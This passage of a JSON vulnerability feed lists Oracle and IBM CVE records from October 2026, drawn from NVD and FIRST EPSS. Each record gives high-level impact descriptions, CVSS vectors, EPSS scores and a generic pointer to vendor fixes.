fixes.","publishedAt":"2026-10-20T22:19:55.743Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83393","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00345,"percentile":0.27834,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83393&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83393","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83393","type":"primary","publishedAt":"2026-10-20T22:19:55.743Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83393&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83393, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83379","cveId":"CVE-2026-83379","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: WebLogic Server Proxy Plug-In for Third-Party Web Servers).","summary":"Vulnerability in the Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: WebLogic Server Proxy Plug-In for Third-Party Web Servers).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Weblogic Server Proxy Plug-in.  While the vulnerability is in Oracle Weblogic Server Proxy Plug-in, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Weblogic Server Proxy Plug-in accessible data as well as  unauthorized access to critical data or complete access to all Oracle Weblogic Server Proxy Plug-in accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: WebLogic Server Proxy Plug-In for Third-Party Web Servers).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Weblogic Server Proxy Plug-in.  While the vulnerability is in Oracle Weblogic Server Proxy Plug-in, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Weblogic Server Proxy Plug-in accessible data as well as  unauthorized access to critical data or complete access to all Oracle Weblogic Server Proxy Plug-in accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:54.153Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83379","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00318,"percentile":0.24511,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83379&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83379","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83379","type":"primary","publishedAt":"2026-10-20T22:19:54.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83379&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83379, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83370","cveId":"CVE-2026-83370","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Sourcing product of Oracle E-Business Suite (component: Auctions).","summary":"Vulnerability in the Sourcing product of Oracle E-Business Suite (component: Auctions).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Sourcing.  Successful attacks of this vulnerability can result in takeover of Sourcing. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Sourcing product of Oracle E-Business Suite (component: Auctions).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Sourcing.  Successful attacks of this vulnerability can result in takeover of Sourcing. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:53.123Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83370","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00345,"percentile":0.27833,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83370&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83370","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83370","type":"primary","publishedAt":"2026-10-20T22:19:53.123Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83370&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83370, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83367","cveId":"CVE-2026-83367","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).","summary":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Shipping Execution accessible data as well as  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Shipping Execution accessible data as well as  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:53.010Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83367","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00318,"percentile":0.24513,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83367&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83367","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83367","type":"primary","publishedAt":"2026-10-20T22:19:53.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83367&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83367, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83366","cveId":"CVE-2026-83366","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).","summary":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Shipping Execution accessible data as well as  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Shipping Execution accessible data as well as  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:52.893Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83366","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00257,"percentile":0.17151,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83366&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83366","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83366","type":"primary","publishedAt":"2026-10-20T22:19:52.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83366&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83366, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83363","cveId":"CVE-2026-83363","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).","summary":"Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector.  Successful attacks of this vulnerability can result in takeover of Oracle Contract Lifecycle Management for Public Sector. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector.  Successful attacks of this vulnerability can result in takeover of Oracle Contract Lifecycle Management for Public Sector. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:52.780Z","updatedAt":"2026-10-24T04:18:20.853Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83363","asOf":"2026-10-24T04:18:20.853Z"},"epss":{"probability":0.00447,"percentile":0.38571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83363&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83363","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83363","type":"primary","publishedAt":"2026-10-20T22:19:52.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83363&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83363, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83361","cveId":"CVE-2026-83361","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).","summary":"Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Contract Lifecycle Management for Public Sector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Contract Lifecycle Management for Public Sector accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Contract Lifecycle Management for Public Sector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Contract Lifecycle Management for Public Sector accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:52.657Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83361","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00365,"percentile":0.30093,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83361&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83361","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83361","type":"primary","publishedAt":"2026-10-20T22:19:52.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83361&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83361, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82891","cveId":"CVE-2026-82891","aliases":[],"kind":"vulnerability","title":"IBM Guardium Data Protection 12.1, and 12.2 could allow a remote attacker to obtain sensitive information due to use of a hard-coded cryptographic key.","summary":"IBM Guardium Data Protection 12.1, and 12.2 could allow a remote attacker to obtain sensitive information due to use of a hard-coded cryptographic key.","detail":"IBM Guardium Data Protection 12.1, and 12.2 could allow a remote attacker to obtain sensitive information due to use of a hard-coded cryptographic key.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:52.050Z","updatedAt":"2026-10-23T12:18:16.493Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82891","asOf":"2026-10-23T12:18:16.493Z"},"epss":{"probability":0.00504,"percentile":0.42798,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82891&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82891","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82891","type":"primary","publishedAt":"2026-10-20T22:19:52.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82891&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82891, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76587","cveId":"CVE-2026-76587","aliases":[],"kind":"vulnerability","title":"IBM Planning Analytics 2.0 and 2.1 are vulnerable to a stack-based buffer overflow, caused by improper bounds checking.","summary":"IBM Planning Analytics 2.0 and 2.1 are vulnerable to a stack-based buffer overflow, caused by improper bounds checking. An attacker could overflow the buffer and execute arbitrary code on the system.","detail":"IBM Planning Analytics 2.0 and 2.1 are vulnerable to a stack-based buffer overflow, caused by improper bounds checking. An attacker could overflow the buffer and execute arbitrary code on the system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:50.103Z","updatedAt":"2026-10-23T12:18:16.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76587","asOf":"2026-10-23T12:18:16.390Z"},"epss":{"probability":0.00663,"percentile":0.51404,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76587&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76587","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76587","type":"primary","publishedAt":"2026-10-20T22:19:50.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76587&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76587, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-60662","cveId":"CVE-2026-60662","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).","summary":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:31.640Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-60662","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00151,"percentile":0.04192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-60662&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-60662","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60662","type":"primary","publishedAt":"2026-10-20T22:19:31.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-60662&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-60662, scored 